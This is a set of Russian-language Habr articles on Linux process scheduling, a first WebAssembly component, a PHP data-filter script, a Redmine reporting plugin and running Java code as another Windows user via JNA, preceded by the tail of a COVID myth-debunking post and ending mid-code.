* Zach Star [с большим количеством роликов о том как можно манипулировать статистикой](https://www.youtube.com/channel/UCpCSAcbqs-sjEVfk_hMfY9w)
* Jason Feifer [The show about the crazy, curious things from history that shaped us, and how we can shape the future.](https://www.jasonfeifer.com/build-for-tomorrow/)
* Василий Садонин с ютуб канала [Выход есть](https://www.youtube.com/channel/UC6zaKCVI0bU-eIyCFPPYmjg)
Как говорил доктор Хаус: Все врут.
Я решил написать данный текст после прочтения недавнего поста на хабре от "скептика" а так же после длительных дискуссий с разными людьми, которые уверены что все это фейк и даже больше. В данном тексте я не оцениваю политизированность темы, ошибочность принятых решений или необходимость каких-то действий. Цель данного текста исключительно в развеивании мифов, которыми люди бросаются либо из-за невежества, лени, злости или с целью ввести оппонента в заблуждение. Я так же стараюсь не касаться вопросов кому это нужно и какова цель, так как прекрасно понимаю, что если у вас параноя, то это не значит, что за вами не следят.
Текст разделен на две части: Ковид в частности и вирусология в общем.
Если у вас есть дополнения или исправления, пожалуйста - пишите их в комментариях с аргументацией и, если необходимо с приведением источников.
Если у вас есть вопрос или утверждение которое вы хотите добавить, постарайтесь написать его в таком же формате (вопрос, объяснение, источники) и оставляйте в комментарии - я постараюсь добавить все по мере возможностей.
UPD: 03.07.2021
Большое спасибо хабражителям за комментарии, правки, замечания и критику, в особенности [@tyderh](/users/tyderh)[@ksbes](/users/ksbes)
UPD 16.07.2021
Исправлены выводы из VAERS (было некорректно посчитаны данные, так как 1 VAERS\_ID привязан к человеку и может встречаться больше одного раза с записью смерти). Там же исправлено сравнение летальных исходов после разных прививок. И пересчитаны связанные с этим данные. В пункт о побочках от прививок добавил отчет из Германии.
UPD 17.07.2021
Добавил пункт про сравнение с гриппом по данным из США
UPD 25.07.2021
Добавил историю и судебные документы на тему того, что Суд Германии признал, что вируса кори не существует или победа немецкого микробиолога и вирусолога Штефана Ланки в судебном процессе по вирусу кори.
UPD 23.12.2021
Обновлен пункт **Маски повышают концентрацию CO2 во вдыхаемом воздухе** в связи с **отзывом оригинальной статьи**, спасибо [@greatvovan](/users/greatvovan) | https://habr.com/ru/post/565892/ | null | ru | null |
# Принцип работы планировщика задач в Linux
[](https://habr.com/ru/company/ruvds/blog/578788/)
Планирование – это процесс распределения ресурсов системы для выполнения задач. В статье мы рассмотрим его вариант, в котором ресурсом является одно или несколько ядер процессора, а задачи представлены потоками или процессами, которые нужно выполнить.
Само планирование осуществляется планировщиком, который нацелен:
* Максимизировать пропускную способность, то есть количество задач, выполняемых за единицу времени.
* Минимизировать время ожидания, то есть время, прошедшее с момента готовности процесса до начала его выполнения.
* Минимизировать время ответа, то есть время, прошедшее с момента готовности процесса до завершения его выполнения.
* Максимизировать равнодоступность, то есть справедливое распределение ресурсов между задачами.
Если с этими метриками вы не знакомы, то предлагаю просмотреть несколько примеров в [другой моей статье](http://codingkaiser.blog/2021/07/26/cpu-scheduling-algorithms/) (англ.), посвященной алгоритмам планировщика.
Типы процессов в Linux
----------------------
В Linux процессы делятся на два типа:
* Процессы реального времени.
* Условные процессы.
Процессы реального времени должны вписываться в границы времени ответа, независимо от загрузки системы. Иначе говоря, такие процессы являются срочными и ни при каких условиях не откладываются.
В качестве примера можно привести процесс переноса, отвечающий за распределение рабочей нагрузки между ядрами ЦПУ.
Условные же процессы не ограничиваются строгими рамками времени ответа и в случае занятости системы могут подвергаться задержкам.
В пример можно привести процесс браузера, который позволяет вам читать эту статью.
У каждого типа процессов есть свой алгоритм планирования. При этом пока есть готовые к выполнению процессы реального времени, выполняться будут они, оставляя условные процессы в ожидании.
Планирование в реальном времени
-------------------------------
В случае с планированием в реальном времени используются две политики, `SCHED_RR` и `SCHED_FIFO`.
Политика определяет количество выделяемого процессу времени, а также принцип организации очереди на выполнение.
Немного поясню.
Суть в том, что готовые к выполнению процессы хранятся в очереди, откуда выбираются планировщиком на основе той или иной политики.
### SCHED\_FIFO
В данной политике планировщик выбирает процесс, ориентируясь на время его поступления (FIFO = первым вошел, первым вышел).
Процесс с политикой планирования `SCHED_FIFO` может «освободить» ЦПУ в нескольких случаях:
* Процесс ожидает, к примеру, операции ввода/вывода, после чего по возвращению в состояние «готов» помещается в конец очереди.
* Процесс уступил ЦПУ через системный вызов `sched_yield`, после чего он тут же возвращается в конец очереди.
### SCHED\_RR
`SCHED_RR` подразумевает циклическое планирование.
В этой политике каждый процесс в очереди получает интервал времени (квант) и выполняется в свою очередь (исходя из приоритета) по циклическому принципу.
Для лучшего понимания рассмотрим пример, где в очереди находятся три процесса, `A` `B` `C`, все из которых работают по политике `SCHED_RR`.
Как показано ниже, каждый процесс получает квант времени и выполняется в свою очередь. После однократного выполнения всех процессов они повторяются в той же последовательности.
### Обобщение по планированию в реальном времени
Процесс реального времени может планироваться по двум разным политикам, `SCHED_FIFO` и `SCHED_RR`.
Политика влияет на принцип работы очереди и определяет, сколько времени нужно выделить тому или иному процессу.
Условное планирование
---------------------
Здесь мы знакомимся с Completely Fair Scheduler (CFS, абсолютно справедливый планировщик), представляющим алгоритм планирования условных процессов, появившийся в версии Linux 2.6.23.
Помните метрики планирования, которые мы затронули в начале статьи? Так вот CFS фокусируется на одной из них – он стремится к максимальной равноправности процессов, то есть обеспечивает выделение всем процессам равных квантов времени ЦПУ.
Обратите внимание, что процессы с повышенным приоритетом все равно могут получать на обработку больше времени.
Для лучшего понимания принципа работы CFS нужно познакомиться с новым термином – виртуальное время выполнения (`vruntime`).
### Виртуальное время выполнения
Виртуальное время выполнения процесса – это количество времени, потраченного именно на выполнение, без учета любых ожиданий.
Как было сказано, CFS стремится быть максимально справедливым, в связи с чем по очереди планирует готовый к выполнению процесс с минимальным виртуальным временем.
CFS задействует переменные, содержащие максимальное и минимальное виртуальное время выполнения, и чуть позже станет ясно зачем.
### CFS —Абсолютно справедливый планировщик
Прежде чем перейти к принципу работы этого алгоритма, нужно понять, какие структуры данных он использует.
CFS задействует красно-черное дерево, представляющее бинарное дерево поиска – то есть добавление, удаление и поиск выполняются за `O(logN)`, где `N` выражает количество процессов.
Ключом в этом дереве выступает виртуальное время выполнения процесса. Новые процессы или процесс, возвращающиеся из ожидания в состояние готовности, добавляются в дерево с ключом `vruntime = min_vruntime`. Это очень важный момент, который позволяет избежать дефицита внимания ЦПУ для старых процессов.
Вернемся к самому алгоритму. В первую очередь он устанавливает себе лимит времени – `sched_latency`.
В течение этого времени алгоритм стремится выполнить все готовые процессы – `N`. Это означает, что каждый процесс получит интервал времени равный временному лимиту, поделенному на количество процессов: `Qi = sched_latency/N`.
Когда процесс исчерпывает свой интервал (`Qi`), алгоритм выбирает в дереве следующий процесс с наименьшим виртуальным временем.
Рассмотрим ситуацию, которая может стать проблематичной для такой схемы работы алгоритма.
Предположим, что алгоритм выбрал лимит времени 48мс при наличии 6 процессов – в этом случае каждый процесс получит на выполнение по 8мс.
Но что произойдет, если система окажется перегружена процессами? Предположим, что лимит времени остается равен 48мс, но теперь у нас 32 процесса. В результате каждый получит уже всего по 1.5мс на выполнение, что приведет к замедлению работы всей системы.
### Почему?
Все дело в переключении контекста, которое подразумевает сохранение состояния процесса или потока с последующим его восстановлением и продолжением выполнения.
Каждый раз, когда процесс исчерпывает свое время на выполнение, и планируется очередной процесс, активируется переключение контекста, которое также занимает некоторое время.
Предположим, что на него уходит 1мс. В первом примере, где каждому процессу у нас отводилось по 8мс, это вполне допустимо. Так мы тратим 1мс на переключение контекста и 7мс на фактическое выполнение процесса.
А вот во втором примере на выполнение каждого процесса останется уже всего по 0.5мс – то есть большая часть времени уходит на переключение контекста, отсюда и проблема с выполнением.
Для того, чтобы исправить ситуацию, мы вводим новую переменную, которая определит минимальную протяженность кванта времени выполнения – `min_granularity`.
Представим, что `min_granularity = 6мс`, и вернемся к нашему примеру, где лимит времени равен 48мс при наличии 32 процессов.
С помощью той же формулы, что и прежде, мы получаем по 1.5мс на каждый процесс, но теперь такой вариант не допускается, так как `min_granularity` задает минимальный квант времени, который должен получить каждый процесс.
В данном случае, где `Qi < min_granularity`, мы берем `Qi` равным `min_granularity`, то есть 6мс, и соответствующим образом изменяем временной лимит. В результате он составит `Qi x N = 6мс x 32 = 192мс`.
На данный момент отличия между CFS и RR могут оказаться недостаточно наглядны, поскольку они оба определяют временные интервалы и организуют порядок выполнения процессов. Для лучшего обобщения и понимания различий между этими алгоритмами я приведу краткую таблицу:
| | |
| --- | --- |
| **RR – циклический список** | **CFS – абсолютно справедливый планировщик** |
| * Квант времени статичен и не зависит от количества процессов в системе.
| * Квант времени динамичен и может изменяться в соответствии с количеством процессов в системе.
|
| * По исчерпанию процессом его кванта времени, RR выбирает очередной процесс с наименьшим виртуальным временем из циклического списка.
| * По исчерпанию процессом его кванта времени, CFS выбирает очередной процесс с наименьшим виртуальным временем из красно-черного дерева.
|
Надеюсь, что статься помогла вам лучше понять реализацию планирования задач в ядре Linux.
Прошу обратить внимание, что автор [оригинальной статьи](https://codingkaiser.blog/2021/09/16/process-scheduling-in-linux/) Eliran поблагодарил читателей за интерес и отдельно пригласил желающих со знанием английского языка в свой блог [Coding Kaiser](https://codingkaiser.blog/blog/) для ознакомления с множеством материалов по смежным и другим интересным темам, а также обмена идеями.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=princip_raboty_planirovshhika_zadach_v_linux) | https://habr.com/ru/post/578788/ | null | ru | null |
# Собираем ваш первый WebAssembly-компонент
Когда я впервые услышал о технологии [WebAssembly](https://webassembly.github.io/) — она сразу показалось мне крутой вещью и мне сразу захотелось попробовать её в деле. От первого желания, до чего-то работающего мне, однако, пришлось потратить немало времени и порой испытать кое-какие разочарования. Для того, чтобы сохранить ваше время и ваши нервы, если вам захочется повторить тот же путь, и написана данная статья.
##### Предупреждение читателю
Эта статья написана 24-го июня 2016-го года. Поскольку WebAssembly очень молодая и динамично развивающаяся технология, со временем многие описанные в данной статье вещи устареют или полностью изменятся — учитывайте это.
А теперь поехали.
##### Что такое WebAssembly?
Официальная документация говорит следующее: «WebAssembly или wasm это новый портабельный, эффективный по размеру и скорости загрузки формат компиляции для веба». Эм-м-м-м… Что? Формат чего? Текстовый или бинарный? Да, это откровенно плохое описание. Так что убирайте уже ваши баззворд-бинго карточки и я, на основе моего опыта, дам своё определение:
«WebAssembly или wasm это спецификация байткода для написания производительных, браузеро-независимых компонентов для веба». Это определение, тоже, конечно, не вершина эпистолярного жанра, но я попробую его дополнить. WebAssembly позволяет повысить производительность с помощью использования статически типизированных переменных, которые обходятся на рантайме значительно дешевле динамических. WebAssembly разрабатывается [W3C Community Group](https://www.w3.org/community/webassembly/) и планируется быть внедрённым во все основные браузеры. И с этого момента на стол выкладывается киллер-фича: вы сможете писать код веб-компонентов на любом языке программирования.
Теперь звучит лучше, неправда ли?
##### Давайте начнём
Когда я изучаю какую-нибудь новую вещь, я обычно ищу минимально возможный пример, достаточный для того, чтобы посмотреть, как всё работает. К сожалению, этот подход не очень-то возможен с WebAssembly. В текущего состоянии спецификации wasm — это просто формат байткода. Представьте себе как в каком-нибудь 1996-ом году инженеры Sun Microsystems представляли бы JVM… но без Java. Разговор шел бы как-то так:
"- Эй вы все, зацените какую классную машину для выполнения байткода мы создали!
— Круто! А как под неё писать код?
— А вот так:
— Эм-м-м-м… круто… Я попробую как-нибудь на досуге.
— Отлично, дай нам знать, если будут какие-нибудь проблемы или идеи!
— Да-да. Но я тут немного занят, нужно посмотреть несколько других вещей… Но как только — так сразу!"
И даже это плохой пример, поскольку JVM хотя бы базируется на языке Java, а с WebAssembly у нас нет и этого. Я надеюсь, вы уловили мысль. Если вы представляете байткод без инструмента, который компилирует в этот байткод код какого-нибудь языка программирования — вам будет трудновато продвигать его. Так как же нам всё-таки начать работать с WebAssembly?
##### Что было до WebAssembly?
Большинство технологий являются результатом развития каких-то предшествующих технологий, в особенности когда планируемой целью является получить некоторую формальную спецификацию. WebAssembly не исключение, это продолжение разработки идей, заложенных когда-то в asm.js, спецификации, предназначенной для написания javascript-кода таким образом, чтобы его было возможно скомпилировать со статической типизацией. Wasm развил эти идеи созданием спецификации байткода, который может быть создан компилятором любого языка программирования, затем переслан через Интернет в виде бинарного файла, пригодного для исполнения любым современным браузером.
asm.js это лишь спецификация для написания javascript-кода с использованием подмножества возможностей языка Javascript. Вы можете написать код на asm.js вручную и, если вам не терпится уже взять и что-то написать — самое время начать.
```
function MyMathModule(global) {
"use asm";
var exp = global.Math.exp;
function doubleExp(value) {
value = +value;
return +(+exp(+value) * 2.0);
}
return { doubleExp: doubleExp };
}
```
Это не очень полезная функция, но она написана согласно спецификации asm.js. Если она для вас выглядит слегка глуповато — так знайте, что вы не единственный, кто так считает. Однако, все эти «странные» символы (все эти унарные операторы) необходимы. Они указывают компилятору на типы данных в операциях. Код весьма простой, но если вы где-нибудь ошибётесь — консоль отладки покажет достаточно читабельное сообщение об ошибке.
Если вы захотите использовать данную функцию, сделать это можно как-то так:
```
var myMath = new MyMathModule(window);
for(var i = 0; i < 5; i++) {
console.log(myMath.doubleExp(i));
}
```
И, если вы всё сделали верно, то на выходе должны увидеть нечто подобное:
##### И, наконец, переходим к WebAssembly
На данный момент у нас есть работающий кусочек кода на asm.js. Мы можем пойти на [официальную страницу WebAssembly](https://github.com/WebAssembly/binaryen) на GitHub и найти там инструменты для компиляции этого кода в wasm. Беда лишь в том, что нам придётся собрать эти инструменты самостоятельно. Это, откровенно говоря, худшая часть всего квеста. Данные инструменты постоянно меняются и время от времени находятся в сломанном состоянии, особенно в плане использования их под Windows.
Для сборки вам понадобятся make и cmake. Если вы работаете под Windows — понадобится ещё и Visual Studio 2015. Вот [инструкции](https://github.com/WebAssembly/binaryen#building) по сборке под Mac, а [вот](https://github.com/brakmic/brakmic/blob/master/webassembly/COMPILING_WIN32.md) — под Windows.
Нужно отметить, что распространение собранных бинарников этих утилит было бы огромным шагом вперёд по популяризации технологии WebAssembly.
Если вы прошли через всё вышеописанное без проблем, то получили папку bin в папке binaryen, где и находятся инструменты для конвертации нашего asm.js кода в wasm. Первый инструмент называется asm2wasm.exe. Он преобразовывает код на asm.js в формат кода .s, который является текстовым представлением абстрактного синтаксического дерева (AST) формата wasm. Запустив asm2wasm на своём asm.js коде, вы получите что-то вроде этого:
`(module
(memory 256 256)
(export "memory" memory)
(type $FUNCSIG$dd (func (param f64) (result f64)))
(import $exp "global.Math" "exp" (param f64) (result f64))
(export "doubleExp" $doubleExp)
(func $doubleExp (param $0 f64) (result f64)
(f64.mul
(call_import $exp
(get_local $0)
)
(f64.const 2)
)
)
)`
Можно разобрать этот код по строкам, но сейчас я просто хочу подчеркнуть, что поскольку wasm это бинарный формат, просто кликнуть в браузере на чём-то и посмотреть код, как вы привыкли делать это с Javascript, уже не получится (по крайней мере на данный момент). То, что вы увидите, будет очень похоже на код выше.
Следующим шагом будет конвертация этого .s формата в wasm-бинарник, для этого мы воспользуемся утилитой wasm-as.exe. Применив её для вашего .s-файла на выходе вы получите байткод, ради которого мы и затевали всю эту историю.
Теперь возьмите последнюю версию Firefox или Chrome Canary и включите в них WebAssembly.
Для Firefox вам понадобиться открыть about:config и набрать «wasm» в строке поиска. После этого изменить значение опции javascript.options.wasm на true и перезапустить браузер. Для Chrome Canary вам нужно открыть chrome://flags, найти и включить опцию Experimental WebAssembly, после чего перезапустить браузер.
Теперь нам нужно запустить наш модуль в браузере. Для меня это поначалу оказалось проблемой, поскольку совершенно не очевидно, как это сделать. Я открыл консоль в Chrome Canary и попробовал набрать «WebAsse» — и ничего, никаких подсказок. Затем я набрал «Was» и получил подсказку! Этот объект в инспекторе выглядел весьма убого в плане документации. Я опущу весь рассказ о том, как я рылся в поисках работающего пример, скажу лишь что в конце-концов я его нашел в некотором файле [JS.md](https://github.com/WebAssembly/design/blob/master/JS.md) в репозитории WebAssembly. Там было что-то вроде документации и примера, вот он:
```
fetch("my-math-module.wasm")
.then(function(response) {
return response.arrayBuffer();
})
.then(function(buffer) {
var dependencies = {
"global": {},
"env": {}
};
dependencies["global.Math"] = window.Math;
var moduleBufferView = new Uint8Array(buffer);
var myMathModule = Wasm.instantiateModule(moduleBufferView, dependencies);
console.log(myMathModule.exports.doubleExp);
for(var i = 0; i < 5; i++) {
console.log(myMathModule.exports.doubleExp(i));
}
});
```
Забросьте это в свой html-файл, поднимите локальный веб-сервер и откройте этот файл в браузере. Вот как это будет выглядеть:
Самое время пойти отправить баг-репорт. Помните, что это всё ещё очень сырая и экспериментальная технология, так что не удивляйтесь возникающим по ходу дела багам.
##### Примите поздравления!
Вы создали ваш первый WebAssembly-компонент. Что дальше? Ну, мы лишь слегка сбросили покровы тайны. Написание asm.js кода было ключевым моментом данного примера и написание сколько-нибудь нетривиальной функциональности потребует времени и терпения. С использованием emscripten компиляция нетривиальных приложений в asm.js становится значительно проще. Я советую вам почитать спецификацию asm.js, особенно раздел о модели памяти, поскольку многие концепции перешли в WebAssembly напрямую из asm.js. Ещё один важный момент: в данный момент вы не можете передавать массивы как аргументы функции. Есть некоторая договорённость, что это должно измениться, но пока что это не отражено в спецификации. Самое время освежить в памяти логику работы с указателями.
Ещё один нюанс: когда вы начнёте писать нетривиальные вещи на wasm, то, возможно, заметите, что производительность порой может быть медленнее старого доброго Javascript. Просто учтите, что современные движки Javascript во всех браузерах весьма высоко оптимизированы и у wasm займёт какое-то время достичь их эффективности. Теоретический предел производительности у WebAssembly выше, чем у кода на Javascript в текстовой форме, но WebAssembly ещё не готов к промышленному применению. | https://habr.com/ru/post/304362/ | null | ru | null |
# Фильтруй базар: пишем простой и функциональный фильтр данных
Кто-то спросит, каким образом фильтры грубой очистки топлива на картинке справа относятся к PHP\IT в целом? Очень просто! Скрипт, о котором пойдет речь дальше, очень схож как по назначению, так и по функциональности с данными приспособлениями. Каждый понимает, что реализовать более менее универсальный фильтр «сверхтонкой очистки» (в нашем случае — выполняющий любые пожелания пользователя) на практике не всегда оказывается тривиальной задачей. Однако, реализовать что-то действительно простое, но при этом функциональное и достаточно применимое вполне реально. Что это, собственно, за «реально» и с чем его едят — смотрим под катом.
PHP — не мое основное занятие, но даже мне не раз уже приходилось сталкиваться с ситуацией, когда необходимо реализовать простой и функциональный фильтр данных для отображения тех или иных данных пользователю. Простейший пример — админка в практически любой системе. Да, это разработчику проще зайти в какой-нибудь PMA и руками вытащить себе любую плюшку, но заказчики, увы, на такое в большинстве своем не способны и не должны.
В итоге я написал скрипт, на вход которого в большинстве случаев (в зависимости от типа данных, об этом пойдет речь чуть ниже) достаточно подать всего 2 массива данных вида:
`$FIELDS = array (
'active' => 'checkbox',
'sex' => 'select',
'type' => 'select',
'hp' => 'int',
'ep' => 'int',
'id' => 'int',
'bonus' => 'int',
'description' => 'text'
);
$NAMEFIELDS = array (
'active' => 'Активно',
'sex' => 'Пол',
'type' => 'Тип предмета',
'description' => 'Описание',
'hp' => 'Здоровье',
'ep' => 'Энергия',
'bonus' => 'Бонусы'
);`
Первый массив представляет собой перечисление тех полей и типов, которые буду доступны для фильтрации, а второй — их символьное отображение для пользовательского интерфейса. На текущий момент у меня реализована обработка 4-х типов: числовой одиночный (просто число), выбор из заранее заготовленного списка (тип select), текстовый и булевый (да\нет). Как ни странно, этого оказалось вполне достаточным для того, чтобы прикрутить фильтр фактически к любой таблице и осуществить поиск по ней. Как я описывал выше, для мощных, сложных кросстабличных поисков используются другие механизмы, которые для каждой системы будут индивидуальны.
Для случая, если поле представляет собой множественный выбор (например, пол — мужской\женский\юнисекс), в функцию передается третий параметр следующего вида:
`$additional = array (
'sex' => $SEX,
'type' => $TYPES
);`
где $SEX и $TYPES как раз-таки массивы с возможным набором значений.
Кто-то начнет кричать, зачем изобретать велосипед при наличии «таких-то» фреймворков, но:
1. Я не люблю фреймворки :) Не будем спорить зачем и почему, это выйдет за рамки данного поста, у всего свое назначение
2. Всегда приятно сделать что-то более менее удобное самому.
Пример работы скрипта можно посмотреть вот [тут](http://sarius.ru) (То же самое, но на ООП [тут](http://sarius.ru/index1.php)). При отправке запросов он Вам просто вернет сформированный запрос. Как можно заметить, при наборе одинаковых критериев (например, если несколько раз выбрать поле ID), можно получить еще более гибкую систему отбора данных.
Впрочем, я не претендую на открытия и т.п., я лишь делюсь тем, что счел для себя удобным и полезным. Быть может, пригодится и кому-то еще. Код, конечно, не заточен для групповой разработки и не содержит даже капли ООП, но при этом вполне понятен, читабелен и, если Вам надо что-то поправить\внести свои типы\заточить «под себя» — сделаете Вы это, думаю, с легкостью. Хотя, кому надо — наверняка уже давно все сделал, кто еще не успел — сможет подсмотреть ошибки в логике автора и не повторять их у себя.
Подводя итог, отмечу
**плюсы**
1. Просто
2. Достаточно универсально
3. Достаточно функционально
**минусы**
1. В данном примере используется GET-запрос, т.о. стоит учесть, что длина URL не должна превышать 2048 символов (никто не мешает Вам пользоваться POST-запросами, все зависит от задачи)
2. Не умеет делать кросстабличные запросы
3. Написано на коленке :)
P.S. Скачать все исходные тексты можно примерно [здесь](http://sarius.ru/filter.zip), на ООП [здесь](http://sarius.ru/filter_class.zip) (вынес из класса только 3 ф-ции, которые можно скорее отнести к ф-циям общего пользования, поэтому лучше им находиться вне него)
P.P.S. Не ошибается только тот, кто ничего не делает. | https://habr.com/ru/post/98752/ | null | ru | null |
# Плагин для Redmine: отчеты по работе
Продолжаем разрабатывать плагины для автоматизации работы [нашей команды.](http://centos-admin.ru/)
В качестве следующего этапа автоматизации решено было создать плагин отчетов по объемам работ.
Это полезно как для статистики работы по проектам, так и для контроля работы сотрудников, что очень актуально при удаленной схеме сотрудничества.
Плагин называется Redmine activity report plugin и служит для отправки отчетов по затраченному времени и закрытым задачам для каждого сотрудника и проекта. Отчеты формируются ежедневно, еженедельно и ежемесячно.
Плагин очень прост в установке и настройке.
Клонируем код на сервер с Redmine:
```
git clone https://github.com/centosadmin/redmine_activity_report /opt/redmine/plugins
```
Запускаем миграцию:
```
bundle exec rake redmine:plugins:migrate
```
Добавляем задачи в крон:
```
bundle exec whenever -i redmine_activity_report -f plugins/redmine_activity_report/config/schedule.rb
```
Для очистки крона служит команда:
```
bundle exec whenever -c redmine_activity_report -f plugins/redmine_activity_report/config/schedule.rb
```
После этого, в настройках проекта, по которому хотим получать отчеты, включаем этот модуль.
И у нас появляется новая вкладка в настройках проекта с параметрами для этого плагина.
Там можно выбрать: будет ли работать плагин для дочерних проектов, по каким группам собираться данные или по каким пользователям, а так же каким пользователям его отправлять.
В результате, в заданные интервалы времени будем получать отчеты в виде таблиц:
В верхней части — сводная статистика по каждому сотруднику, дальше идет расшифровка по каждому с указанием тикетов и времени.
Отзывы и предложения пишите в комментариях.
Спасибо за внимание! | https://habr.com/ru/post/273951/ | null | ru | null |
# Запуск кода под другим пользователем в Windows из Java
Добрый день! Сейчас я расскажу вам, как запускать код под учётной записью другого пользователя в Windows из Java с помощью JNA.
#### Практическое значени
В общем случае это может понадобиться, когда нужно обратиться к ресурсам, которые доступны какому-либо одному пользователю, а у пользователя, под которым запущен текущий поток, нет прав для доступа к этим ресурсам. Но есть логин, домен и пароль нужного пользователя.
Для примера — есть сервер, который позволяет отдавать клиенту файлы из определенных папок. Доступ к папкам ограничен на уровне прав доступа NTFS. И у самого сервера доступа к этим папкам нет (что правильно – сервер запускается под отдельной учётной записью, у которой есть доступ только к директории сервера и папки temp). Но зато клиент знает учётные данные пользователей, которым разрешён доступ к этим папкам. Вопрос за малым – войти под нужным пользователем и получить доступ.
#### Теория
Для начала нужно знать, что для того что бы воспользоваться правами пользователя нужно запустить процесс или поток под учётными данными нужного пользователя, а потом уже из этого потока/процесса производить доступ к нужным ресурсам. MSDN и форумы советуют нам следующее:
1) CreateProcessWithLogonW — сразу запускает указанное приложение под нужными учётными данными. Самый простой вариант и самый не оптимальный – для того, что бы выполнить пару тройку строк кода мы будет стартовать целое приложение.
2) Связка функций – LogonUser, CreateThread, SetThreadToken, ResumeThread. В первой функции мы входом в систему под указанными учётными данными и получаем токен. Во второй функции создаём спящий поток. В третьей указывает токен для созданного потока. В чётвёртой запускаем созданный спящий поток.
Остановимся на втором варианте. Он хоть и требует некоторых дополнительных строчек кода, но самый оптимальный.
#### Реализация
Для начала нужно выбрать, с помощью чего будем запускать native код из Java. Я знаю два способа – JNI и JNA. Первый «родной» для Java и самый быстрый (по заверению некоторых авторов). Но требует написания дополнительной native библиотеки с описание вызываемых функций. А для этого нужны некоторые посторонние телодвижение. Тем более написание native кода, хоть и простого, для Java программиста не самая тривиальная задача. Во втором случае нужно только описать в интерфейсе вызываемые функции и всё – можно использовать. Тем более что многие типы и функции Windows в JNA уже описаны.
Для использования JNA нам нужен сам jna.jar, в котором содержится основной код JNA и platform.jar в котором содержится описание некоторых функций и типов для разных платформ – Mac, Win, \*nix.
Теперь перейдём к кодированию. Сначала опишем вызываемые функции – создадим два интерфейса – MoreKernel32, который наследует интерфейс Kernel32 из platform.jar, и MoreAdvapi32, который наследует Advapi32 из того же jar.
Пропишем в следующие методы в этих интерфейсах:
```
public interface MoreAdvapi32 extends Advapi32 {
static final MoreAdvapi32 instance = (MoreAdvapi32) Native.loadLibrary("advapi32", MoreAdvapi32.class, W32APIOptions.DEFAULT_OPTIONS);
Boolean SetThreadToken(HANDLEByReference pointer, HANDLE Token);
}
```
```
public interface MoreKernel32 extends Kernel32 {
static final MoreKernel32 instance = (MoreKernel32) Native.loadLibrary("kernel32", MoreKernel32.class,W32APIOptions.DEFAULT_OPTIONS);
DWORD ResumeThread(WinNT.HANDLE hThread);
WinNT.HANDLE CreateThread(Pointer lpThreadAttributes, Pointer dwStackSize, Callback lpStartAddress, Pointer lpParameter, DWORD dwCreationFlags, Pointer lpThreadId);
}
```
Метод LogonUser уже есть в интерфейсе Advapi32, его описывать не нужно.
Пару слов о том, как JNA узнаёт какие функции ей вызывать у native библиотеки. Для этого нужно описать интерфейс с этими функциями так, что бы их названия и параметры совпадали. Потом нужно вызвать Native.loadLibrary со следующими параметрами — название загружаемой библиотеки, название интерфейса к которому будет мапиться библиотека, и опции загрузки. В результате мы получим ссылку на интерфейс, из которого можно будет использовать эти функции.
Теперь расскажу поподробнее, что мы такое сделали:
1) Описали функции в интерфейсах.
2) Загрузили библиотеки kernel32 и advapi32, и замапили их на созданные интерфейсы, вызвав функцию Native.loadLibrary. Ссылку на загруженные библиотеки сохранили в переменной instance в каждом из интерфейсов.
Теперь рассмотрим два класса. Первый класс ThreadFunc предназначен для выполнения в потоке пользователя. Код очень прост – здесь только открывается файл на чтение и производиться проверка на доступность файла. Самое главное, что бы класс реализовывал интерфейс Callback, и в нём была создана функция callback(). Это позволит JNA определить что класс предназначен для обратного вызова. Если посмотреть в код интерфейса Callback можно увидеть, что в нём описано название вызываемой функции и описаны название функций, которые будут игнорироваться.
```
package jna;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import com.sun.jna.Callback;
public class ThreadFunc implements Callback {
private String fileName;
private FileInputStream in;
public FileInputStream getIn() {
return in;
}
public String getFile() {
return fileName;
}
public void setFile(String file) {
this.fileName = file;
}
public void callback() {
File testAccess = new File(fileName);
if (testAccess.canRead()) {
System.out.println("Файл можно прочитать из дополнительного потока");
try {
in = new FileInputStream(fileName);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}else{
System.out.println("Файл нельзя прочитать из дополнительного потока");
}
}
}
```
Второй класс JnaTest основной – здесь происходит создание потока, вход пользователя в систему, установка токена и самое главное, ради чего происходила вся эта канитель – чтение файла.
```
package jna;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.channels.FileChannel;
import com.sun.jna.platform.win32.Advapi32;
import com.sun.jna.platform.win32.WinBase;
import com.sun.jna.platform.win32.WinDef.DWORD;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.platform.win32.WinNT.HANDLEByReference;
public class JnaTest {
private static final String fileName = "D:\\user1\\hitman.jpg";
public static void main(String[] args) {
FileInputStream in = null;
FileOutputStream out = null;
FileChannel fcin = null;
FileChannel fcout = null;
try {
File testAccess = new File(fileName);
if (testAccess.canRead()) {
System.out.println("Файл можно прочитать из основного потока");
}else{
System.out.println("Файл нельзя прочитать из основного потока");
}
//Создание потока
//флаг CREATE_SUSPENDED
DWORD flag = new DWORD(4L);
ThreadFunc func = new ThreadFunc();
func.setFile(fileName);
HANDLE hThread = MoreKernel32.instance.CreateThread(null, null, func, null, flag, null);
if (hThread == null) {
System.out.println("Поток не создан");
return;
}
//Вход пользователя в систему
HANDLEByReference phToken = new HANDLEByReference();
Boolean logonResult = Advapi32.INSTANCE.LogonUser("user1", "HORROR", "1234567q-",WinBase.LOGON32_LOGON_NETWORK, WinBase.LOGON32_PROVIDER_DEFAULT, phToken);
if (logonResult == false) {
System.out.println("Вход не выполнен");
return;
}
//Назначение токена потоку
HANDLEByReference pThread = new HANDLEByReference(hThread);
Boolean setTokenResult = MoreAdvapi32.instance.SetThreadToken(pThread, phToken.getValue());
if (setTokenResult == false) {
System.out.println("Токен не назначен");
return;
}
//Запуск и ожидание завершения потока
MoreKernel32.instance.ResumeThread(hThread);
MoreKernel32.instance.WaitForSingleObject(hThread, -1);
MoreKernel32.instance.CloseHandle(hThread);
MoreKernel32.instance.CloseHandle(phToken.getValue());
//Чтение файла
in = func.getIn();
if (in == null) {
return;
}
out = new FileOutputStream("D:\\test.zip");
fcin = in.getChannel();
fcout = out.getChannel();
fcin.transferTo(0, fcin.size(), fcout);
} catch (Exception e) {
e.printStackTrace();
} finally {
//Закрытие ресурсов
if (fcin != null) {
try {
fcin.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fcout != null) {
try {
fcout.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (in != null) {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (out != null) {
try {
out.close();
